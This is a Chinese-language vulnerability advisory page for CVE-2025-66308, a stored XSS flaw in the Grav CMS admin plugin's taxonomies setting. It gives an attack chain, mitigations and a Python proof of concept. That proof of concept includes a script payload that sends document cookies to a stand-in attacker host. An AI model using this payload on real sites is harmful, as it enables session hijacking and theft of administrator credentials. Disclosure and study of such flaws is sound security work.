IPBUF安全漏洞报告
English
CVE-2025-66308 CVSS 5.4 中危

CVE-2025-66308 Grav Admin Plugin 存储型XSS漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-66308
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Grav CMS, grav-plugin-admin

相关标签

存储型XSSCVE-2025-66308Grav CMSgrav-plugin-adminWeb应用安全跨站脚本攻击CMS漏洞PHP

漏洞概述

CVE-2025-66308是Grav CMS的admin插件中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于/admin/config/site端点,攻击者可以通过data[taxonomies]参数注入恶意JavaScript脚本。由于该脚本被存储在服务器端,任何访问站点配置页面的用户都会自动执行恶意代码,从而造成持久性的攻击向量。此漏洞影响Grav 1.11.0-beta.1之前的所有版本,CVSS评分5.4,属于中危漏洞。攻击者需要具有低权限用户身份,但无需特别高的权限即可实施攻击。该漏洞已被GitHub安全团队发现并报告,官方已在1.11.0-beta.1版本中修复。

技术细节

该漏洞是典型的存储型XSS(Stored Cross-Site Scripting)漏洞,存在于Grav CMS的管理后台配置页面。攻击者通过访问/admin/config/site端点,在taxonomies配置参数中注入恶意JavaScript代码。漏洞的根本原因在于应用程序未对用户输入进行充分的过滤和转义处理。当包含恶意脚本的配置被保存后,数据会直接存储到服务器数据库中。此后,任何具有访问配置权限的用户在浏览该页面时,浏览器会解析并执行存储的恶意脚本,从而实现会话劫持、敏感信息窃取或其他恶意操作。由于攻击代码持久化在服务器端,传统的基于请求的防护措施无法有效阻止此类攻击,需要从输入验证、输出编码等多个层面进行综合防护。

攻击链分析

STEP 1
步骤1
攻击者获取Grav CMS低权限账户(任何注册用户)
STEP 2
步骤2
攻击者登录管理后台,访问/admin/config/site配置页面
STEP 3
步骤3
在data[taxonomies]参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
提交配置,恶意payload被存储到服务器数据库
STEP 5
步骤5
其他管理员或用户访问/admin/config/site页面时,浏览器解析并执行存储的恶意脚本
STEP 6
步骤6
攻击者通过恶意脚本窃取用户会话cookie、凭据或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66308 Stored XSS PoC # Target: Grav CMS admin plugin < 1.11.0-beta.1 # Endpoint: /admin/config/site # Parameter: data[taxonomies] import requests import json target_url = "http://target.com/admin/config/site" login_url = "http://target.com/admin" # XSS payload - Cookie stealing example xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" # Login to get session cookie session = requests.Session() login_data = { "username": "admin", "password": "password" } # session.post(login_url, data=login_data) # Exploit - Inject XSS via taxonomies parameter config_data = { "data": { "taxonomies": xss_payload } } # Send malicious configuration # response = session.post(target_url, json=config_data) print("XSS Payload injected in taxonomies parameter") print("Payload:", xss_payload) print("Any user viewing /admin/config/site will execute this script")

影响范围

Grav CMS < 1.11.0-beta.1
grav-plugin-admin < 1.11.0-beta.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 禁用或限制admin插件的访问;2) 实施严格的访问控制列表(ACL)限制;3) 在Web应用防火墙(WAF)层面添加XSS过滤规则;4) 监控/admin/config/site端点的访问日志;5) 提醒管理员不要点击可疑链接或访问非预期的配置页面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表